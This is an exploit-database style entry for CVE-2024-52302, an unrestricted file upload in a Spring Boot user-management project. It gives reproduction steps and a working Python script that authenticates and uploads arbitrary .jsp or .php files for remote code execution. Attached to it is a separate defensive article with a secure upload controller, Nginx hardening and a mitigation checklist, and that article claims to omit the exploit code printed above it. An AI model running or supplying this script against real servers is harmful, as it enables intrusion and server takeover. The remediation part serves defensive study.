Spring Boot common-user-management 0.1 - Remote Code Execution (RCE)
# Exploit Title: Unrestricted File Upload
# Google Dork:
# Date: 14/Nov/2024
# Exploit Author: d3sca
# Vendor Homepage:
https://github.com/OsamaTaher/Java-springboot-codebase
# Software Link:
https://github.com/OsamaTaher/Java-springboot-codebase
# Version: [app version] 0.1
# Tested on: Debian Linux
# CVE : CVE-2024-52302
# Steps to Reproduce:
# Upload Malicious File: Send a PUT request to /api/v1/customer/profile-picture using customer with role 26,17 added with a malicious file payload (e.g., .jsp, .php, .html).
# GET the file location: Send GET request /api/v1/customer/my-profile , grap the file location in response with the profile's link.
# Execute the Uploaded File: Using the file name access the file directly through the URL returned in the response.
# If the server supports the uploaded file type, it will execute the file, leading to Remote Code Execution.
import requests
import argparse
import sys
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def login(url, username, password):
"""Authenticate with the API and return the Bearer token."""
login_endpoint = f"{url}/api/v1/user/login"
headers = {"Content-Type": "application/json"}
payload = {
"username": username,
"password": password
}
try:
response = requests.post(login_endpoint, json=payload, headers=headers, verify=False)
response.raise_for_status()
# Extract token
token = response.json().get("token")
if not token:
print("[!] Token not found in response. Exiting.")
sys.exit(1)
print("[+] Authentication successful. Token acquired.")
return token
except Exception as e:
print(f"[!] Login failed: {e}")
sys.exit(1)
def upload_file(url, token, file_path):
"""Upload a file to the profile picture endpoint using the Bearer token."""
upload_endpoint = f"{url}/api/v1/customer/profile-picture"
headers = {
"Authorization": f"Bearer {token}"
}
files = {
"file": open(file_path, "rb")
}
try:
response = requests.post(upload_endpoint, headers=headers, files=files, verify=False)
response.raise_for_status()
if response.status_code == 200:
print("[+] File uploaded successfully.")
print(f"[+] Response: {response.text}")
else:
print(f"[!] Failed to upload file. Status code: {response.status_code}")
print(f"[!] Response: {response.text}")
except Exception as e:
print(f"[!] File upload failed: {e}")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description="Exploit script for unrestricted file upload vulnerability.")
parser.add_argument("-u", "--username", required=True, help="Username for login")
parser.add_argument("-p", "--password", required=True, help="Password for login")
parser.add_argument("-f", "--file", required=True, help="File to upload")
parser.add_argument("-url", "--url", required=True, help="Base URL of the target application (e.g., https://target.com)")
args = parser.parse_args()
# Authenticate
token = login(args.url, args.username, args.password)
# Upload the file
upload_file(args.url, token, args.file)
if __name__ == "__main__":
main() Spring Boot common-user-management 0.1 — Unrestricted File Upload (CVE-2024-52302): Overview, Impact, and Safe Remediation
This article explains the nature and risk of an unrestricted file upload vulnerability reported in the Spring Boot project referenced as common-user-management (version 0.1) and tracked as CVE-2024-52302. It focuses on secure, defensive guidance for developers, DevOps, and security teams: root cause analysis, detection approaches, hardening and secure coding examples, server configuration mitigations, and responsible disclosure/patching practices. It intentionally avoids step-by-step exploit instructions and proof-of-concept exploit code.
Executive summary
An unrestricted file upload vulnerability occurs when an application allows users to upload files without adequate validation and then exposes or executes those files in a way that an attacker can use to run arbitrary code or payloads on the server. The highest-risk impact is remote code execution (RCE) when uploaded files are placed in a web-accessible / executable location and the webserver or application permits their execution.
CVE and context
| Identifier | Value |
|---|---|
| CVE | CVE-2024-52302 |
| Affected Project | common-user-management (Spring Boot codebase example) |
| Primary weakness | Unrestricted file upload and storage under web-accessible/executable path |
Root cause analysis
- Uploads were accepted without proper server-side content validation (type, magic bytes, size).
- Uploaded files were stored in a directory that the application or webserver served directly with execution enabled or no execution restrictions.
- File names were preserved or not sanitized, enabling placement of files with potentially dangerous extensions.
- Insufficient access control on the upload endpoint allowed roles or accounts to upload arbitrary content.
Risk and impact
- Remote Code Execution (RCE): If server executes uploaded content (e.g., server processes .jsp, .php, .py), attacker may gain code execution.
- Data exposure: Uploaded files may leak sensitive user or application data if stored in predictable, public locations.
- Privilege escalation and pivoting: Successful code execution can allow attackers to move laterally or persist in environment.
Safe detection and monitoring (non-actionable)
Detection should focus on anomalous upload behavior and evidence of file execution. The following are high-level indicators and monitoring strategies:
- Log and alert on uploads of unexpected content types or unusually large files to endpoints that handle profile or user uploads.
- Track file names and MIME types returned by the application versus the actual detected MIME type (server-side detection).
- Alert on HTTP methods other than POST to upload endpoints (e.g., PUT/DELETE) if not expected.
- Monitor webserver logs for requests targeting upload paths that subsequently return 200/500 status codes when non-image or executable file extensions are requested.
- Use EDR/host-based logs to detect child processes spawned by web server processes or new network connections initiated from web app processes.
Defensive coding patterns for Spring Boot (recommended)
When accepting user-provided files, apply multiple layers of validation and store files in a manner that prevents them from being executed. Below is a defensive Spring Boot controller example that demonstrates safe practices.
// Example: Secure file upload controller (Spring Boot)
@RestController
@RequestMapping("/api/v1/customer")
public class ProfilePictureController {
private final Path storageDir = Paths.get("/var/app/uploads/profile-pictures"); // outside static webroot
@PostConstruct
public void init() throws IOException {
Files.createDirectories(storageDir);
// Remove execute bits if running on POSIX
try {
Set perms = PosixFilePermissions.fromString("rw-r--r--");
Files.setPosixFilePermissions(storageDir, perms);
} catch (UnsupportedOperationException ignored) {}
}
@PostMapping(value = "/profile-picture", consumes = MediaType.MULTIPART_FORM_DATA_VALUE)
public ResponseEntity uploadProfilePicture(@RequestParam("file") MultipartFile file, Principal principal) throws IOException {
// 1) Enforce authorization: ensure caller is allowed to upload for this account
if (principal == null) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
// 2) Reject empty or overly large files
long maxBytes = 2 * 1024 * 1024; // 2MB
if (file.isEmpty() || file.getSize() > maxBytes) {
return ResponseEntity.badRequest().body("Invalid file size");
}
// 3) Server-side content-type detection (Apache Tika or ImageIO)
Tika tika = new Tika();
String detected = tika.detect(file.getInputStream());
List allowed = Arrays.asList("image/png", "image/jpeg", "image/gif");
if (!allowed.contains(detected)) {
return ResponseEntity.badRequest().body("Unsupported file type");
}
// 4) Optional: additional image sanity check using ImageIO
try (InputStream is = file.getInputStream()) {
if (ImageIO.read(is) == null) {
return ResponseEntity.badRequest().body("Corrupted or invalid image");
}
}
// 5) Generate safe filename and store outside of web root
String extension = detected.equals("image/png") ? ".png" : detected.equals("image/gif") ? ".gif" : ".jpg";
String filename = UUID.randomUUID().toString() + extension;
Path target = storageDir.resolve(filename);
try (InputStream in = file.getInputStream()) {
Files.copy(in, target);
}
// 6) Ensure file permissions are not executable
try {
Set perms = PosixFilePermissions.fromString("rw-r--r--");
Files.setPosixFilePermissions(target, perms);
} catch (UnsupportedOperationException ignored) {}
// 7) Store metadata (e.g., filename) in DB and serve via authenticated endpoint
// saveProfilePictureForUser(principal.getName(), filename);
URI resourceUri = URI.create("/api/v1/customer/profile-picture/" + filename);
return ResponseEntity.created(resourceUri).body(Map.of("filename", filename));
}
// Safe, authenticated endpoint to serve files
@GetMapping("/profile-picture/{filename}")
public ResponseEntity serveProfilePicture(@PathVariable String filename, Principal principal) throws IOException {
// Check ownership/authorization for the requested filename
// if (!userOwnsFile(principal.getName(), filename)) { return 403; }
Path file = storageDir.resolve(filename).normalize();
if (!Files.exists(file)) {
return ResponseEntity.notFound().build();
}
Resource resource = new UrlResource(file.toUri());
String contentType = Files.probeContentType(file);
return ResponseEntity.ok()
.contentType(MediaType.parseMediaType(contentType != null ? contentType : "application/octet-stream"))
.body(resource);
}
}
Explanation:
- The controller stores uploaded files in a directory outside the application's static webroot (/var/app/uploads/...), preventing direct webserver execution of arbitrary file types.
- It enforces authorization so only authenticated and authorized users can upload files.
- File size limits are enforced server-side to reduce resource abuse.
- Content detection uses Apache Tika (or ImageIO) to validate the actual file type rather than trusting the filename or client-supplied MIME type.
- Filenames are randomized (UUID) to avoid path traversal or predictable names; extension is chosen based on detected content type.
- Files are saved with non-executable POSIX permissions (rw-r--r--) where supported.
- Files are served through an authenticated endpoint which can perform access checks, rather than being mapped directly into static content served by the webserver.
Additional hardening: webserver and runtime configuration
Even with application controls, webserver configuration must be hardened to prevent execution of uploaded files. Key recommendations:
- Store uploads outside webroot and deny script execution in upload directories.
- Configure the webserver (Nginx/Apache) to serve uploads as static content only and to disallow server-side processing of dynamic file types (e.g., .jsp, .php, .py).
- Set strict file system permissions and run application processes with least privilege.
- Consider using a separate domain or subdomain for user content (CSP and cookie separation), and serve via a read-only object store (S3) or CDN configured only for static content.
# Example (Nginx) — prevent execution in uploads directory and serve as static files
location /uploads/ {
alias /var/app/uploads/;
autoindex off;
# Disable processing by any scripting handler, treat files as static
types { }
default_type application/octet-stream;
# Optional: add security headers
add_header X-Content-Type-Options nosniff;
add_header Content-Security-Policy "default-src 'none'; img-src 'self' data:;";
# Deny access to files with risky extensions as defense-in-depth
location ~* \.(php|jsp|asp|py|pl)$ {
deny all;
return 403;
}
}
Explanation:
- This Nginx fragment maps a URL path to a filesystem directory outside the application, treats files as static, sets a safe default MIME type, and adds header protections.
- It also denies access to known script extensions to reduce risk if a non-image file is uploaded by mistake.
Testing and validation (safe, non-exploitative)
- Run automated security scans (SAST/DAST) and static code review to detect uncontrolled file writes and webroot exposures.
- Perform unit tests that assert only allowed content types are accepted and that uploads end up in non-webroot storage.
- Use containerized or isolated staging environments for integration tests. Do not test exploit payloads on production systems.
- Review audit logs after simulated uploads to verify logging and alerts are triggered as expected.
Mitigation checklist
- Move upload storage out of webroot. Serve via a controlled endpoint or object storage.
- Implement strict server-side file validation (type detection, size limits, image sanity checks).
- Enforce authorization for upload endpoints and minimize which roles can upload files.
- Sanitize and randomize filenames; never trust user-supplied filenames for storage paths.
- Set non-executable file permissions and rely on webserver config to prevent execution.
- Apply least-privilege to app processes and patch dependencies regularly.
- Monitor upload activity and set alerts on anomalous patterns.
Responsible disclosure and patching
If you discover vulnerabilities in your environment or in third-party code:
- Immediately follow your organization’s incident response plan for suspected exploitation.
- Patch the vulnerable component or apply mitigations (above) as soon as feasible.
- If reporting to an upstream project or vendor, provide enough information to reproduce and fix the issue safely, use secure channels, and avoid public disclosure until patches are available.
- Once fixed, coordinate disclosure with vendor timelines and provide guidance to users on required upgrades or configuration changes.
Summary
Unrestricted file upload is a high-risk category of vulnerability when application code stores uploads in a location where files can be executed by the server. Preventing exploitation requires layered defenses: server-side validation, safe storage practices (outside webroot), strict file permissions, webserver hardening, and monitoring. The defensive examples in this article show practical, secure patterns for Spring Boot applications that reduce the risk of RCE while preserving legitimate functionality.